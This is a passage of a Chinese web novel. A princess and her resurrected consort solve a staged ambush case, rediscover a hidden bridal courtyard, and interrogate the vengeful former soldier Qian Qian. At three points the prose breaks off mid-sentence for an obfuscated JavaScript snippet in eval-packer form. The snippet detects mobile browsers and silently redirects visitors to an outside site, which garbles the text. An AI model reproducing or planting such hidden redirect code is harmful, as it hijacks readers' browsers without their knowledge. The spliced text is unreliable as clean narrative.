牧晓微微坐直身，叩着扶手椅思索：“还是不对。我怕他们单纯只是皇兄拿来给我练手或是什么误会，所以只是拿下他们，没下狠手。但按照那群人的水平，这种程度确实是为命的意思。” “与在场嫌犯供述不一。传在场嫌犯头目当堂对峙。”陶郎中早在案卷里见过这一点。 被当场抓获的头目名叫钱谦，原是五城兵马司中的一名普通兵卒。原有机会晋升，但遭人排挤，郁郁不得志。后来家破人亡，自己侥幸死里逃生，因在街头耍耗子耍得好，还被苏墨淳收入府中，吃穿不愁。 一旁的芒夏轻声提醒：“就是当时倒在地上想逃跑的那个。”那个扭动成蛆状，又被芒夏一脚踹晕的。 芒夏这句话倒是提醒了牧晓。 点醒她的地方，不在那人是谁，而是钱谦当时的反应。 牧晓轻叩扶手椅的手骤然一顿：“他想逃跑？他在刑部说，苏墨淳指使他来截杀昭灵公主和自己长兄，干这种三岁小孩都知道会掉脑袋的事，在现场被活捉，下意识的反应不是绝望，而是试图在那么多亲卫的眼皮子底下逃跑？” 逃跑并非不对。只是，如盗贼被官府所拿，在第一瞬往往不会觉得自己有性命之危，因为官府并不能随意杀人。 她侧耳听了几句钱谦和苏墨淳各执一词的扯皮，认为钱谦的言语、行事其实比苏墨淳要有条理且成熟的多。 混乱者常做出乎意料的事，有条理者的目的，反倒好解密。 牧晓现在觉得，苏墨清那日有句话说得相当对。 她扭头看向苏墨清，发现对方已经在看着她了。 牧晓倾身过去，左手刚好搭在苏墨清的右手背上：“你那时说，事情发生后，最先知道我们是谁的，其实是被当场抓住的嫌犯？” “你那时说，嫌犯的口供里明知是我们。”苏墨清顺着她的话，并把最后一个字咬得重些。 “在姚尚书他们到来之前，我们明明是秘密进京。我不算秘密，那个秘密是你。除了皇兄，知晓的人甚少。苏墨淳显然不在其中。”牧晓觉得事情更有意思了。 钱谦在刑部说了假话。 8.一访百味坊 此案现在虽在刑部公堂开堂，实则是刑部、大理寺、都察院这三法司联合审理。 刚才问话的，一直是刑部清吏司正五品的陶郎中，但刑部尚书、大理寺卿和都察院左都御史这三位，都正坐镇刑部公堂。 左都御史，正是城外与姚尚书一同迎牧晓与苏墨清的段御史，也是段弈钧和段弈哲的父亲。 段御史微不可察地往刑部公堂内侧方向看。 但坐在其中的二位，其实并不关心这个案子在公堂上会被定为什么结果。反正公堂上的结果也会送到他们面前。 所以牧晓和苏墨清，听到钱谦和苏墨淳一时半会吵不出什么更多的信息后，就推说府中有事，要了钱谦的的个人经历，扬长而去。 没有给段御史留下和他们交谈的机会。 · 二人没有回府，而是走进百味坊。 和许多清新雅致的茶馆酒馆不同，百味坊，不仅是可口饭菜的“百味”，也是人情世故、戏曲故事的“百味”。 没有选择坐里面的雅间，他们隔着一道屏风，就是为了来听故事和相关流言。 起因是牧晓收到个好玩的消息：坊间笔者几天的工夫就写出了关于他们两个的新话本，还成功过了百味坊的审核校勘，最近正在热传。 待在自己的府中，身旁隔绝流言蜚语，日子是舒心了，但容易产生飘飘然的不真实感受。 牧晓进京后，深觉有些人和事与她想得实在有所出入。 她决定找时间清醒一把。 儿时，她在百味坊听到关于自己的传言，总觉得很败兴，有时还会回家钻到母亲楚夫人怀里，边哭边一件件利利落落地反驳回去。 楚夫人往往会恶狠狠瞪自家夫君牧丞相一眼，示意他过来一起哄。 牧丞相能不受女儿的哭声干扰，但架不住自家夫人的凶狠目光，直接把牧晓从楚夫人怀里拎出来，高高抱起，或者直接举到肩上，让牧晓坐在他的肩头。 牧晓从来都喜欢坐在高的地方。在高处待一会就不哭了，把那些流言什么的，抛到九霄云外，然后开心地笑起来，还和她那沉稳的兄长牧晞一个劲炫耀。 而现在，牧晓觉得有些流言也有意思得很。弄清流言的思路，有助于她分析不同人的行为动机和目的。 她坐在外侧，边和苏墨清分享手中钱谦的生平，边等待今日剧目和故事。 百味坊的剧目和故事讲述方式特殊，分为单面、双面、四面开台。 单面开台和普通戏剧表演方式无异。 而双面开台和四面开台就大不相同。 例如，今日是双面开台。 双面开台便是东西向两面各讲各的故事，最后可以合拼成为一个。 听众从一开始，便可选择自己第一轮的主听人物，等双方故事都讲完，舞台主讲人物自行对调，再讲第二轮。两轮可以讲同样的一件事，也可以顺着时间线继续往下讲。 两轮过后，舞台中间幕布拉起，展示结局。 这算是百味坊吸引回头客的一种方式。 大部分观众只图新奇，便只会为一个故事来一次。 现在，一个好故事可吸引他们从不同角度来听至少两次，或许再多几次，用以对比几方细节。 “钱谦，京城人，原五城兵马司弓兵，约三年前因私放应服役人员被革退。后为仇家所逼，穷困潦倒，妻子带女改嫁，老父因病离世，孤身一人逃至京郊，在驿站中卖艺为生，对京郊地形十分熟悉。”牧晓简略概括。 “私放服役者的缘由是，服役者的老友要在洛水刑场问斩，乞求钱谦许他去送老友最后一程。结果服役者一去不回，钱谦被同袍举报。” 苏墨清继续概括自己手中那部分：“仇家即是那位同袍。钱谦曾劝戒同袍兄弟莫要向摊贩勒索钱财。后同袍之父突发重疾，一时无钱医治，待钱筹够，为时已晚。” 不知是钱谦的故事，还是哪个词触动了牧晓的心弦，她放下手中纸张，沉默起来。 她沉默，苏墨清也停下，怕她是想到已离世的先皇和先皇后，没有询问。 屏风前的舞台上，大戏已开。 “百味坊中品百味，青鸾屏前道鸾情。” 开场白一过，中台背景变为避开皇室规制的简化版青鸾，暗示这场东台的主人公是位公主。 当今能拿出来说两句的公主，也只有昭灵公主。 “第一回：情鸾情陷西南郎，旧容旧音非旧人。” 屏风后，原本忆起些许往事的牧晓，耳畔飘过章回题，顿觉事情不妙——故事是说，“她”带回来的驸马不是当年那个，只是找了个相似的替身？这到底是什么思路？ 不提她在朝堂上横冲直撞、避重就轻、颠倒礼法，也不提她气势汹汹冲进延国公府多次焚烧人家祠堂中的牌位、拳打宗法意义上的婆母兄妹，甚至没提她怎样高调和驸马进京，而是另辟蹊径，暗示她找了个替身。 而替身……不，这是真正主。 正主还正坐在自己身边呢。 天杀的撰稿人。我远在西南时，骂的不是挺到位吗？进京后，怎么玩这些阴的了？ 牧晓深觉，自己还是年岁太轻，火候不够，没参透大众口味，命中注定有此一劫。 屏风前的声音继续透过来。 剧情更刺激了。“她”找的替身住进了公主府东侧，她那死而复生的真驸马，被她安排到公主府西侧。“她”耐不住寂寞去东侧和替身私会，正被早有准备的真驸马捉奸在床。 “捉奸在床”四个字在牧晓脑中嗡嗡回响。 百味坊的校勘是谁？到底是谁！ 这真的能过审吗？ 真的能过。撰稿人写得隐晦又暧昧，“她”与替身看似什么都发生了，实则什么也没发生。 纯粹是给“她”和真驸马的感情添柴加火。 如果是自己一人或只带芒夏她们一起，牧晓大概会冷笑一声，觉得这群撰稿人为了剧目爆火，真是不择手段。一味给女角造谣算什么本事？ 又几句新台词飘过，牧晓真是叹为观止——今日剧本，平等给每一位出场角色造谣。 “她”的真驸马，为了激“她”，竟不知从何处领来一位“白月光”。 这剧本也算是两个疯子同台竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714782|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技。 公主府门口，就是两只石狮子也得谈四角情。牧晓顿觉毛骨悚然。 她一时不敢看对面苏墨清的神色。 只是因为对面是他，所以会脸红，不敢看，不想听。 “昭灵公主，我可没有第二个白月光。”苏墨清缓缓开口，似乎一如既往的平静且略带随意，“那公主府东侧，是否真的有什么秘密？” 听到“公主府东侧”，牧晓避开他的眼神，猛地把头扭向门外方向，愣怔地盯着门口细碎的阳光出神。 苏墨清相当有耐心地平静注视着她，注视着那双映满熠熠流光的眼睛。 对他而言，这眼睛从来动人。神采飞扬的，笑意盈盈的，冷静幽深的，沉思默想的……每一次眼波流转都牵动着他的心神。 当这双眼睛望向他时，每一刻都是顾盼生辉的真实写照。 他常能从中看到自己，并不经意瞥见自己想独占这份关注的贪念，丝丝缕缕，在这样透亮的眼睛里暴露无遗。 苏墨清甚至分不明晰，分不明她问自己愿不愿意做她驸马，听到回答后眼底的欢畅和惊喜到底是自己的还是她的；分不明家宴对视时，肯定自己心思的那个眼神是她真实想法，还是自己痴心妄想的幻影；分不明石桌上居高临下的探究目光里，多少是垂怜，多少是爱意，多少是占有欲；分不明她让自己好好活着，是因旧日习惯难改，因定要争到手的执着，还是真的因为爱，才那样舍不得他离开。 他想，就这一次吧。就不作为这一次，就暗中逼她这一次。 他一声不吭听侍女和牧晓笑谈新剧目的事，一声不吭跟着牧晓来百味坊，又坐等开幕。不拒绝，不引导，不提醒，不表现出异状。 你明知她会不好意思。找个借口把她带走，或者自己先离开也好。苏墨清听见自己对自己的催促。 但他到最后都没有动。 公主府东侧到底有什么，惊喜或是别的。 他不听京城的戏说流言，不和闻玄机做信息买卖，不问公主府的其他任意一人。 我的小青梅，这次你自己来解谜。 “百味坊中品百味，玉麒麟旁见麒麟。”又是一句开场白，代表东西台叙事主角已互换，第二轮东台主角是位驸马。 在驸马的叙事里，故事并不那样戏剧性和轻快。“他”作为死而复生之人，没有身份，没有信息路径，为找到公主就已历一番波折；“他”试过放下姿态求公主怜悯，妄想求皇帝陛下恢复他的身份，试图和亲朋旧友求助……但公主好像对“他”有情，但没那样有情；皇帝陛下找不到“他”的利用价值，一口回绝；旧友推三阻四，亲朋闭门不见……“他”发誓一定要得到公主，并报复所有人。 不过，牧晓和苏墨清二人并未听完这个故事。 牧晓记得，自己保证过，对他，不藏不拘，任何事都不隐瞒。 在苏墨清快要忍不住说句“算了”之前，她把头缓缓扭回，不再出神，像是下定了某种决心。 牧晓复杂又坚定的眼神，直直撞入苏墨清眸中。 她没有直接回答，而是简单说：“好，走。我带你去看。” 9.公主府东 公主府东侧，院落构造比西侧复杂得多。 苏墨清少时常来牧府，记得东侧原非如此，应是一片近似于景观高地和练武场地的活动区域。 昭灵公主府按规制扩建后，依旧是原牧府的部分更加热闹。 不过除了东侧改建的这片院落。 和旧牧府的其他院落相比，这里现在称得上人迹罕至。 道路曲径通幽，路旁枝条缠缠绵绵。 两人快步向前，走过那些蜿蜒曲折，就像在绘制打开东侧秘密之锁的钥匙。 流水旁斜，豁然开朗。 牧晓顿住脚步，转身，左手抓起苏墨清的右腕一转，右手往他手心里拍了一把钥匙，闷声道：“你自己开门一看，再一直走到底，就什么都清楚了。” 说罢，她试图抽手，大有自己就在门口等他的意思。 但她没有抽动。 苏墨清反扣住她的右腕一转，再把人往自己这边轻轻一带。 钥匙又回到了牧晓的手心，两人也贴得近了许多。 苏墨清的右手松开牧晓的手腕，寸寸下撤带走钥匙，换上左手，与牧晓十指相扣。 牧晓瞳孔骤然放大，但没有再试图抽手，而是愣愣地一步一步被他带着向前走。 “咔嚓”门锁落下。 确实，看一眼就明白了。 进京第一天，牧晓带他去了延国公府，却没有去他自己从前的院子，那个也有他们众多少时回忆的地方。 因为他自己当年的屋院，近在眼前。 一花一木，窗外布景，屋内陈设，笔墨摆放。 甚至还有窗棱上，两人切磋时，刀锋擦过的细痕。 一如当年。 似年少时夹在书本里的花和叶，经年再翻，从书页间翩然落下。 往日暗香与生机犹能窥见。 通向这院落的曲径，原来是为布景和合理过渡风格而专门设计。 两个人牵在一起的手同时攥紧，分不明颤抖的到底是谁。 风吹动远处没关严的门，一束阳光把门缓缓推开。 那扇门，是这间屋子唯一与往昔不同之处。 二人穿过那扇以日光为帘的门，走上回廊。 回廊两旁，是他们当年在牧府并肩坐过的花树，一同躺过的春草，还有不知多少次互相鼓励、碰拳的小练武场。 檐下一同系的风铃，还在风中哼着当年的歌谣。 庭上的流云，都似当年那一片。 回廊的尽头，红纱宫灯映入眼帘，红色窗花掀动一角，屋内红烛未燃。 赐婚文书正正摆放在桌面上。 昭灵公主府中，有喜堂，有婚房。 满京人都知道。 · 当年的昭灵公主，在苏小将军死讯传到京城后几天，疯了似的闯进延国公府，就差把她准驸马的院中地基一同挖走。 延国公府中，孙氏和一双儿女自然拼命阻拦。苏墨淳出言不逊，被昭灵公主直接打断了腿。 声势浩大，满京人想不知道都难。 而后，他们又看到，昭灵公主突然笑起来 她带着笑直入皇宫，直截了当告诉当朝皇帝皇后，她要嫁人。 她要嫁已亡人。 帝后自然皆不允。 昭灵公主根本不理会，自办大婚。公主府上，看起来喜气洋洋，宴请宾客，请帖发了满城。 大婚当日，她掏出先皇许她自行婚嫁的密旨，五十里红妆，派人一路宣读。 京城里怎会有人不知。 公主府门前，聚集了一批人。一批想阻拦她的人。 牧晓已记不太清到底是谁了。或许当日她根本就不在意拦在门口的是谁。 他们从延国公府拿来牌位，告诉她，她的准驸马已死。 死得真真切切，明明白白。 他们好像还问她，真的要和一尊牌位拜堂吗？ 她自己拿着红绣球大笑起来，没有回答任何一个人的问题，反问众人为什么不祝福她，然后直接夺过牌位，把牌位随手扔进火盆里烧了。 她不认牌位也不和牌位拜堂。 心有所想，心有所向，何须牌位寄托。 她又怎么会是一个人。 要是他真死了，定是正一如既往地望着她，夸她今日明眸流盼、朱颜胜花；要是他真死了，定是正站在她面前，与她宴宾客，行三拜，共合卺，取发系绸，永结同心。 为什么不祝福她呢？ 不是说这世道的女子，定要有个夫婿么？ 她挑好了呀。 牧晓穿着喜服，在新房红烛下，认认真真、一笔一画，给自己补上赐婚文书。 从此，不论京华人潮熙攘、千灯长明，还是西南山高路远、日出峡间，她都有权可往，得似浮云也自由(1)。 为什么进京当日，无人置喙苏墨清身上的驸马服制？ 为什么身为师长的姚尚书对那道“密旨”难以忘怀？ 为什么孙氏及苏氏兄妹见了牧晓那样惊恐？ 为什么家宴上身为兄长的牧晞一定要问苏墨清的态度，而身为母亲的姚千宁来府后说的不是“未大婚”，而是“未真大婚”？ 凡此种种细节，大珠小珠尽落玉盘，在苏墨清脑中，随着檐下风铃声叮咚回响。 他双目赤红回头看向牧晓，发现她也红了眼眶正望着他。 牧晓现在视线一片模糊，全是光的晕影。 她隐隐觉到轻风带起她的发梢，远方似有鸟鸣。 今日天真好，她含着泪笑笑，实在不知该说什么，伸手拍了拍那只握着她、正越收越紧的手，重复那句实在问了太多遍的问题：“你愿意当我的驸马吗？” 这是她第一次没有得到正面回答。 因为苏墨清把她拽进怀中紧抱几息后，做了个和上次牧晓问他这个问题时的动作如出一辙的举动。 这次是他轻勾下牧晓的下巴。 接着，他直接吻了上去。 牧晓愣了一下，所有感官瞬间放大，脑中好似有金石铮鸣一息，光阴停转，风凝云静；而下一息，周围景物逐渐模糊，她只听见自己心脏咚咚跳动的声音，催促她，回应这个吻。 她试着放松身子，并抬手环住苏墨清的后颈。 气息暧昧交缠，吻不断加深。 二人眼中的泪同时滚落而下。 泪顺着阳光一闪，似命途中的粼粼波光。 不远处，庭中花树在风里簌簌作响。 曾经有人评，门中有树，是谓“困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718844|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。这棵树不吉利，应当移除。 但现在，树旁环绕清浅流水，整棵树远看恰似浮在空中，郁郁葱葱，枝繁叶茂。 门中，“木”上浮，加华盖，恰似“茵”。 若有飞鸟远行万里，从京城上空俯瞰，这便是飞鸟独享的一片“绿草如茵”。 · 牧晓不知自己是什么时候坐到苏墨清腿上的。 她喘了几口气，只觉现在晕晕乎乎，脸上发烫；抻了抻刚才握得发麻的手，有种飘飘然的不真实感。 对她而言，这是真的没有先例可循了。没经验也没准备地去做一件事，让她实在不安。 她还是比较习惯那种胜券在握的底气。 不能再继续下去了。 牧晓挣扎着摇摇晃晃站起身，倒是没有走，只是贴着苏墨清，也在廊椅上坐下。 她略微平复心绪后，率先开口：“你……”也许是刚才崩得紧，现在一开口，发现声音实在哑。 她清了清嗓子，重新开口：“你不要以为我拜过堂了就是和你拜过堂了。我们还有的是堂没拜。” 意识到自己说了什么，牧晓又猛地闭上嘴。 ——这是什么没条理的胡言乱语。 她有点懊恼地将头转向别处，假装自己刚才什么都没说，只是在看风景。 这天真绿，草真红，树真蓝啊。 ——这又是什么古怪说法。 牧晓抬手狠狠拍了下自己的脑门，闭了闭眼，再三告诫自己清醒些，又偷偷转过头，想看看苏墨清是什么反应。 怀里一空的苏墨清正在幽幽地望着她，好像她是什么始乱终弃的浪荡子。 牧晓莫名觉得，百味坊故事里的驸马，把“她”和替身捉奸在床时也是这种眼神吧。 ——天哪，不要再胡思乱想了。百味坊那个故事到底有什么好想的。她院中的树都得劈成三半，自己和自己谈场三角的。 牧晓还在心里忙忙碌碌时，苏墨清幽幽开口：“是，对，还有的是堂没拜。” 他起身整了整衣服后，抬头问她：“我们要不现在就补上？” 喜堂，婚房，红罗帐。什么都不缺。 要是再补上拜堂—— 牧晓连忙扯回自己和风筝一样越飞越远的思绪，声音恢复正常：“现在吗？不了。以后补上全套的。” 她说到这里，笑意渐浓，嘴上又忍不住占把便宜：“苏大公子真是好福气，谁家夫人和你的一样，青梅竹马，不离不弃，初婚初吻都是你的，还有机会再办一次大婚？论起大婚流程和经验，我可比你清楚多了。还不快求我带带你，早做打算。” 说完，二人互相递了几个回合的眼神。 站在这样熟悉的场景，听见这样熟悉的语调，实在太有当年的感觉。 递眼神无果，他们都禁不住开怀笑起来，都意识到今日大概是不会有什么结果，无可奈何地相继摇摇头，自然而然牵起对方的手，往议事堂方向走去。 穿过喜堂新房，另一头连着牧晓的住处。牧府成为昭灵公主府后，重新规划了道路布局。而今从牧晓的住处去议事堂十分便利。 今天闹了这么久，还没处理完正事。 在刑部公堂，钱谦和苏墨淳肯定已吵出大致结果了。 10.钱谦 “嗯？钱谦和苏墨淳当堂翻供，现在一致说他们是第一次劫道，本只打算向夜行富商索要钱财，劫到我，完全是误会一场？而且，事后我让钱谦尽力把事往苏墨淳身上扯？”牧晓有些惊讶地向芒夏确认。 “殿下，是的。”芒夏继续禀报，“钱谦第一次翻供，说是您在押解他们回京的路上，暗示他要攀咬苏墨淳。苏墨淳也随声应和，说事实就是如此。” “但这个说法被刑部官员几问就问出了破绽。而后，钱谦直接改口，又说刚才的话是苏墨淳教他，万一不巧劫到不一般的人，到了官府可视那人身份，一口咬定是对方自导自演，只为掩饰车上不合法规的银钱或人、物。” 芒夏平时偏跳脱，但在正事上向来认真且细心，尤其擅长在论辩双方混乱的语句中，梳理出重点。 简单来说，就是擅长听别人吵架。 牧晓展颜一笑：“停一下。我想知道，钱谦第一次翻供，说我要他攀咬苏墨淳。那我的目的是什么？” 芒夏的眼神，微不可查地往坐在牧晓身边的人的方向转了转：“殿下，钱谦说，您没有细说。但他认为，一是因为您和苏墨淳的旧怨；二是因为，您想把延国公的爵位名正言顺夺过来，为您的驸马恢复身份。” 牧晓笑出声，捏捏苏墨清的手道：“你觉得钱谦说得有道理吗？我是不是挺有动机的？” 苏墨清挑眉道：“我那名义上的弟弟在那里与不在那里，向来没什么区别吧。” 芒夏不知自己没在公主身边这段时间，公主和驸马之间都发生了什么，现在气氛怎么这么好。她暗暗有些好奇与心焦。 等办完正事，就去求秋姐告诉我。芒夏心里打着盘算。 牧晓正色，开始认真思索：“钱谦这两次翻供，大致是想把所有涉事人都尽可能拖下水。苏墨淳算收留他的恩人么，为什么一定要这样坑害自己的恩人？这对他真的有好处么？他不知道这样罪加一等么？” “罪加一等……”牧晓喃喃道，“钱谦现在由哪方看管？” “回殿下，还在刑部。”芒夏简单回答。 牧晓语气沉了沉，问芒夏：“我现在有办法见钱谦吗？” 芒夏语气迟疑：“殿下，按律，还未结案，应当无法探视。但刑部那边暗示，陛下对这件事有特批。” “应当可行。” · 确实可行。 刑部并未回绝，接到公主府递来的消息，甚至让钱谦自行梳洗一番，而后干脆利落地把他放进一间干净的屋内。 钱谦听到有人来探视他，不为所动，认为不过是种新刑讯手段。 他家早已无人。 但他不得不遵从狱卒要求。 他悻悻想，死前再看看这刑部大牢还能有什么把戏也好。 “钱谦，想死么？”随着门开，一句冰冷的女声传来。 钱谦一激灵。他认出，这是劫道当晚，那个用刀锋挑起他头颅的年轻女子。 那夜刀锋抵在他喉头那令人战栗的冰凉触感又回来了。他不禁伸手触摸自己的脖颈。 昭灵公主竟亲自前来。这是钱谦万万没想到的。但面对昭灵公主的问题，他低头，陷入良久的沉默。 对面的昭灵公主和那她位死而复生的驸马已坐定，见他沉默，也不催促。 钱谦突然短促一笑。 他猛然抬头，仍是不答昭灵公主的问题，而是直直望向苏墨淳口中那位如鬼魅般恐怖、如白无常般令人胆寒的兄长，癫狂地笑起来：“苏小将军别来无恙？当年从我东城门前往西南出征，多么风光。现在一无所有在名女子手下讨生活，滋味不好受吧？要想拿回身份，重新功成名就、荣华富贵……” 钱谦一下子顿住，说不下去了。 他原以为对面的两人要么会沉默不语，要么会怒斥他闭嘴。 可是，对面两人在这种严肃的场合下，在笑。 不是讽刺的、刻意的，而是轻松随意。好像他在讲什么笑话一样。 钱谦心头燃起一股无名的怒火。 “挑拨离间可太没意思了。”牧晓悠悠一句，现在觉得钱谦也入错了行。 五城兵马司不适合他，去百味坊写本子大概能名扬四方，赚个盆满锅满。 牧晓也意识到自己进门的那句话颇有歧义。 她收了笑容，再次恢复到刚才冰冷的神色：“钱谦，我猜你在刑部公堂上想，要是把所有仇人都拖下水带走，才算得上快意。然后你自己，潇洒摆手，告诉世人你大仇得报、一生无愧无悔，从容赴死，怎么不算敢于挑战权贵天威，全了自己的大道。” “并且，如有机会，说不定还会自请在洛水刑场赴死，称得上有始有终。”牧晓缓缓抬眼补上一句，“要是这次洛水刑场的监斩官依然是我，算不算更加圆满？” 钱谦的怒火被骤然泼了盆冰水，透心凉到骨子里。 他面部抽搐几下，表情几度扭曲：“昭灵公主所言，我自是不敢当。蝼蚁之躯，何谈大道；命如草芥，何谈圆满。倒是我，小瞧了昭灵公主。“ “是我小瞧了钱先生才是。”牧晓打断他的话，“钱先生卧薪尝胆，顺水推舟，一箭串杀数名仇敌，我实在自叹弗如。” 钱谦的表情空白一瞬，随即大笑：“钱某荣幸，死前得昭灵公主此等评价。原以为我的知音在军中，在庙堂，没想到是在闺阁。有公主这般赞誉，钱某才算真的死而无憾。” 他说完这句后，顿感畅快，也觉没什么隐瞒的必要了，从头开始道：“那苏墨淳不过一介草包，家世显赫，却只能靠他母亲求人运作，得到五城兵马司副指挥这么个职位。他得到后，正事从不处理，每天酩酊大醉，怪他父兄心狠，不保举他个一官半职；怪他母亲没用，给他运作不到更好的职位；还怪他妹妹太小，暂时卖不到个好人家。” 钱谦提到苏墨淳，恨得咬牙切齿：“他不知，在他眼里的小小职位，是多少如我这般拼命打拼的半辈子的普通兵卒，梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725426|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寐以求的晋升机会。” 职位数目固定，有公子哥空降，钱谦明白，自己可能这辈子再无升迁机会。 “你说，我劝同袍莫向民众勒索钱财，这有错吗？我甚至在他找我借钱时慷慨解囊，明明我自己也不富裕啊。” “你说，我一时不忍，放服役者送老友最后一程，有错吗？那服役者明明向我保证，第二日定会如期归来。昭灵公主，你作为监斩官，又何故杀他？他作为观刑人，又何苦去自讨苦吃？他解脱了痛苦，解脱了服役，那我呢？” “更别提我那位狼心狗肺的同袍。我与他多年兄弟、亲如手足啊。他老父同我老父，在我眼中无甚区别。我真是瞎了眼。原不求他雪中送炭，不成想临渊一脚是他踹，家破人亡是他逼。革职前，我向他诉苦官大半级压死人；革职后，他让我尝到底何为民不与官斗。” “我恨啊，我恨啊。我败落后，所有亲朋闭门推脱，妻子带女改嫁，这些我虽不恨，但我已不惧被夷三诛九。” “只是未曾想到，在驿站附近卖艺，饥寒交迫时，赏识我耍鼠小技的竟会是苏墨淳；未曾想到，他府中多得是孤苦伶仃的卖艺人和郁郁不得志的老部下，甚至想帮我重新安家置业；未曾想到，劫道多日，因各种威逼利诱不曾东窗事发，竟在人手最齐的一日，蹲到了十分特殊的车驾。 “我驻守过东门一段时间，虽辨不出车驾到底谁家，但怎会不认识勋贵车驾？只是想闹大事端，好抓出苏墨淳，且给我那位好同袍治个玩忽职守重罪罢了。” “而现在，苏墨淳私蓄罪兵、指使京郊劫道，刑部公堂问话诬陷皇室已在劫难逃；我那位好同袍，玩忽职守也罪无可恕；我那些闭门不见的亲朋，大概也在悔恨为何没有与我直接断亲吧？” “而昭灵公主，现在你是唯一的不圆满了。”钱谦眯起眼，不住向牧晓方向探身，但被链条锁住，“我蚍蜉撼树、螳臂当车，试过也拖你下水，但我发现我好像无能为力。洛水刑场滥杀无辜贫民的昭灵公主，血流成河之上面不改色的监斩官，你的报应又是什么呢？” 牧晓面色平静，觉得这趟回京真是回值了。 在西南时，总觉身心疲惫、思虑沉重。 原来是千里之外的京城中，扣在她身上的锅太多了。 至于洛水刑场这口锅的来源么。 我的好皇兄，你清不清楚呢？ “钱谦，”牧晓语气平和地开口，“你的妻子并未改嫁成功，正孤身带着你的女儿苦苦支撑。具体为何，我不知，建议你自己亲口去问。” “至于洛水刑场，我只能说，人潮散去后，发现有位平民因过度悲痛倒地，大约是突发疾病。现场监斩亦有医者，未能救回。” “但倒地者在神志不清的弥留之际，零星蹦出几个字。” “现在想想，应是求我们送他回服役处的意思。” 钱谦浑身一颤。 牧晓还是那样平和的语气，问他：“钱谦，现在，想活吗？” 11.苏沁 牧晓原没想到事情进展如此顺利。 洛水刑场，改了太多人的命。 钱谦，在苏墨淳的供述中，一直被形容为“沉默寡言”。 现在看来，只是已太久无人听他一言，也太久无人懂他一言。 在兵中长了张利嘴劝友，在市井放得下身段卖艺，在被看不惯的前上司误打误撞接济，还能不忘初心报仇；报仇又只求尽己所能、无愧于心，选准时机不瞻前顾后。就是方法实在惨不忍睹——杀敌一千自损三千，还肯定逃不过三法司的深挖。 不过，牧晓很欣赏这种百折不挠、至死方休的精神。 但让牧晓最终决定保他一命的，是来刑部的路上她问芒夏的问题：“弓兵……钱谦的箭法如何？” 芒夏在进京前的那天晚上接过钱谦几箭，答道：“初步判断在军中也算上乘。或许天赋并不顶级，但基本功相当扎实。箭箭都是冲着殿下去的。” 当年待在苏墨淳手下，绝对是屈才了。 牧晓三年前自洛水刑场监斩后，头也不回离开京都，当时认为自己此生不愿再在京中长留。 但她现在变了想法，深觉京中实在卧虎藏龙，有趣得很。 不知多少地方上的人中龙凤，满怀憧憬抱负来京，发现自己不过是京中奇人异士里最平平无奇的那个；多少天才在京中或是铩羽而归，或是淹于人海。 要白手起家，时运、命数、伯乐、才干、抉择，缺一不可。 既然她遇上了，那也当一回惜才人。 “不知前几起劫道案，最后会被查成什么结果。不过，既然他们干过几起，且都未东窗事发，想必是从未伤人，且捏住了对方什么把柄。受害者是否愿意承认，还不好说。他们在刑部和公堂上又一直咬死了这是初次劫道。”牧晓思索片刻，“单论我这件事，要命不必。就让他们去边境吧。若有心有力，从头再来，为时不晚。” 牧晓转头和芒夏补上几句：“只可针对我这件事可表个态。万一真牵扯别的案件，不要影响其他案件的判罚。就当让我也沽名钓誉一把吧，放个惜才名声出去，顺便为公主府招招人才。” 如果皇兄那边对这件事下什么新旨意，或是三法司最终依然决定以儆效尤，她也无权左右。 和钱谦报仇的心态一样，她也只求无愧于心。 钱谦对那句“想活吗”的回答是：“真的由公主殿下决定么？” 也算是看得透彻。 · 仅三日，三法司便做出决断。 苏墨淳，杖一百，流三千里；钱谦和其他参与者，杖责不等，多充军。 都没有牵连族人。 值得一提的是，在负责京郊治安不力、玩忽职守的处罚名单中，真的牵连到了钱谦那位同袍。 五城兵马司严加整顿，玩忽职守与劫道者同罪同罚。 不知钱谦此刻，是在为保住了自己的命而欣喜，还是遗憾同罪同罚，没带走仇家的命。 好歹不用去洛水刑场再次监斩了。这点倒是让牧晓也松了一口气。 没有松下这口气的只有孙氏。 苏墨淳要杖责还要流放的消息，传到孙氏的耳中无异于晴天霹雳。 她几次三番试图再入公主府求情，想要去刑部申请再查，甚至打听过怎么去敲登闻鼓。 大多数时候都被女儿苏沁拦了下来。 “母亲，兄长没被判斩，也没牵连我们，已是法外开恩，不可能再轻了。”苏沁轻声安慰泣不成声的孙氏，“母亲，你还有我呀。” 苟延残喘的延国公府，现在主事的已是苏沁。 苏沁这几日忙着遣散府中闲杂人等，收敛田产商事，精简开支，延国公府没了苏墨淳，对苏沁来说是清净不少，也更加齐整。一时称得上焕然一新。 